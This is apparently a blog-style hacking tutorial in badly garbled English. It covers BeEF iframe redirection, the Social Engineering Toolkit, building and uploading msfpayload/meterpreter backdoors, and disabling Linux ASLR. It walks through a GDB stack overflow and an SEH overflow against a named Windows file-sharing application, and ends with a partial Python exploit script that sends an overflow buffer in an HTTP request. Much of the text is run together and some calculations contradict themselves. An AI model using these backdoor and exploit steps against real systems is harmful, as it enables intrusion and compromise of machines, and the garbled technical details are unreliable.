and assume the victim is accessing the url.,
looks like this:
Nowback toourbrowser. Thisisa goodprefix:
Nextweheaded to./msfconsole.
okey.,nowwe aretrying toexploitation:
Ithenputthe addressblockto thebeef
go tocommads ->Browser ->site Redirect(iframe) on thetabpageItry tofill thedojotittle-is2c.com thetabredirecttheurl Iputmyblockon top and press execute
while the exploitation beralan. we try to look at victim's browser.
Social engineeringis alsoknownashumanhack, isan actof social engineeringtomanipulate thehuman mindtoget the desired information.
Social engineeringis acommon termoneveryone'sdaily lifeandapply itbutthe use ofsocial engineeringinpenetrationtestingandhackinga bitdifferent. The main use ofsocial engineeringin thehackingis to getinformation,to maintainaccessandso on.
TheSocial EngineeringToolkit(SET)isapythonpackagecustom-driventoolthat focuses solely onthe human element ofpenetrationtestingattack. It'smain purposeistoenhanceandsimulatesocial-engineering attacksandallows thetestertotest howeffectiveatargetedattackcansucceed. so essentially built iyalah attacks in tookit is designed to target a focused attack against a person or organization is usedforpentesters. for more detailsclick onthisurl: social-engineer
tutorial:
./mfspayload:
========
here I'lltry toexplainwhat itmsfpayload. . / msfpayload can be called also by making backdor. backdor could be called an the program or interruption grafted on the network system.
function of backdor among others is to make direct communication path through a path that is not common, of a network system. Another function of backdor iyalah to send / receive files, delete files, managing files, display a notification, deleting data, reboot the machine.
indeed the use of known backdoor leads to more negative things. but the real backdoor can be used for something positive. example: control of the network at a certain point to save time.
here I will try to make msfpayload: see picturebelowis thelistmsfpayload
having managed to make payload for us to do upload data. meterpreter> upload "places folder " "folder name" "the place to be put payload" and do execution on the file that we created
Now we get into a new konsole setting multi handler
inthis article Iwill trytoexploitationtoback-track 5.The firstthingto dois turn off"LINUK ASLR". tocheck the valueASLR youcanperform the command "cat /proc/sys/kernel/randomize_va_space" Here we can see that the SLR is still alive.
Nowwetry toturn offASLR.with the command "echo 0 > /proc/sys/kernel/randomize_va_space" Nowwetrymengulaicommandtosee the value ofASLR
on alllinuxbased operatingsystemsare not the same. Iwilltryto giveyou thesolutionthat failstoturn offASLR:
echo 0> / proc / sys / kernel / exec-shield # turn it off .. | echo 1> / proc / sys / kernel / exec-shield # turn it on
echo 0> / proc / sys / kernel / randomize_va_space # turn it off .. | echo 1> / proc / sys / kernel / randomize_va_space # turn it on
sudo bash -c "echo 0 > /path/to/file" # turn it off ..| sudo bash -c "echo 0 > /path/to/file" # turn it on
next, after saving.thenwewill triggera bufferoverflow. follow the instructionsbelow.
Itryto explaina little the use ofGCCtoprogram(C+ +). formore completeexplanationyoucanseeinthe consoleandtype mangcc.
GDB, the GNU Project debugger, allows you to see what is going on
`inside' another program while it executes -- or what another program
was doing at the moment it crashed.
GDB can do four main kinds of things (plus other things in support
of these) to help you catch bugs in the act:
Start your program, specifying anything that might affect its behavior.
Make your program stop on specified conditions.
Examine what has happened, when your program has stopped.
Change things in your program, so you can experiment with
correcting the effects of one bug and go on to learn about another.
The program being debugged can be written in Ada, C, C++, Objective-C,
Pascal (and many other languages). Those programs might be executing
on the same machine as GDB (native) or on another machine (remote). GDB
can run on most popular UNIX and Microsoft Windows variants.
Nowwehaveavulnerableprogram. then weopen theGDBtofindthe necessaryoffsetto override
thenrepeatagain.runningpython
yaap.,the programreceived., proceedagain asbelow
Nowwehavesuccessfullyoverwrite theregisterEIP
ya., using the inforegisterswecanseeall theregistersinthe"x /FTMADDRESS" the registerESPcontains thebufferweareevil. andtheregistersEBPandEIPwas overwritten/x41
wecanfind outthe address of theESPbefore thestrcpyfunction. withourfinancelast200 bytescan bepushedon the stack.
thingwe need to knowhowwewill work around the200byteshellcodeandthenweoverwrite theEIPwith theaddress ofESPaddress..
now let’s try to find out the ESP address and subtract 200 bytes from it.
Nextwe usethegdbcommandlist,then do thebreak point let's tryto repeat thecommandabove'just to be sure'
okey., subtract 200 bytes of the ESP: 0xbffff14c-200 = 0xbffff14c.now we know we need to overwrite EIP 508 byteyaap., now we try to arrange exploitation.we have a total of 508 bytes to overwrite EIP:323 garbage bytes shellcode + 45 bytes = 368 bytes508 bytes - 368 bytes = 140 bytesso we have room for 140 bytes shellcode. then we divide 140 by 4 "in accordance with memory addresses (\x41\ x41\x41\ x41)" and the result is 35.
okey, go toyourwindowsvirtualbox., run thewizardfile sharingapplication and runOllydbg. Ollydbgclickon thefilemenu-> Attach-> selectfilesharingWizzard
next running your fuzzing. see the resultsinOllyDbg. fuzzingwemanaged tooverwrite theEBPmemory. butnotdirectlyoverwriteEIP., because the application isbasedSEH it does not matter., do not hesitateto continue ..^
tolook into thetablesehwe clickview->SEHchain it willappearnext to thetable.
seenthat thebufferthat we sendare storedin theSEHchain. to forwarddatapressshift +F9 andnote thevalue ofEIPto 41414141. and notealsothelower-rightline. fuzzerthatwesubmitted have beenenteredinto thestack. Addressis what willbeourentry point.
tosee thedatathat is inmemoryapplications., rightclickon therowstack-> FollowinDump
The nextstepwetry tosend youcreatepatternsfor25.000
next step, fuzzerrunandlookatOllydbg. ESPlookstertimawithyngfuzzerwe send.
The nextopentableSEHchain., andpressshift +F9
calculate the value ofEIP
we can concludethe wizardfile sharingapplicationsaffectedin1025
The nextstage ofourmecraispringboard., the intention isto findthe addressstoredthereincommands POP, POP, RETN. that will be usedtooverwrite theSEHaddresson the application. butthere aretwo things to beascertainedon the modulethatcanbe used asa stepping stone. -The moduleiscompiledusing/safeSEHON -The module does nothaveoruse the optionflagin it. usuallyrepresentedby acode of00x0400
okey., inthis applicationthe user is usingthe moduleoledlg.dll
after entry intowindowsCPUfromfileoledlg.dllrightclick-> searchfor-> sequenceofCommands
will display asearchwindow, enter the commandPOPr32, POP r32,RETN
clickfind., Nowwe've found the addressinmemory oledlg.dll, that is theoffset 7DF725ff
canbe consideredan offsetaddresscan not containthe/x00,/X0A, /x0d. karanaifwedouse theexploitpayload, the payloadcommandwill be disconnected., andlead toexploitation offailure.
control theprocessCPU
---------------------------------------------
The nextstage, afterweget abyteaddressthat is usedfor fishingSEH, it is timewechange thefuzzer "Welldo not forgettochange theformatinto thelitte-endian memory(writtenupside down)"
my fuzzing:
#!/usr/bin/python
import socket
#buffer = "\x41" * 25000
buffer = "\x90" * 1021
buffer+= "\xCC\xCC\xCC\xCC"
buffer+= "\xFF\x25\xF7\x7D"
buffer+= "\x90" *(1033 -len(buffer))
head = "GET /chat.ghp?username="+buffer+"&password="+buffer+"&room=1 HTTP/1.1\r\n"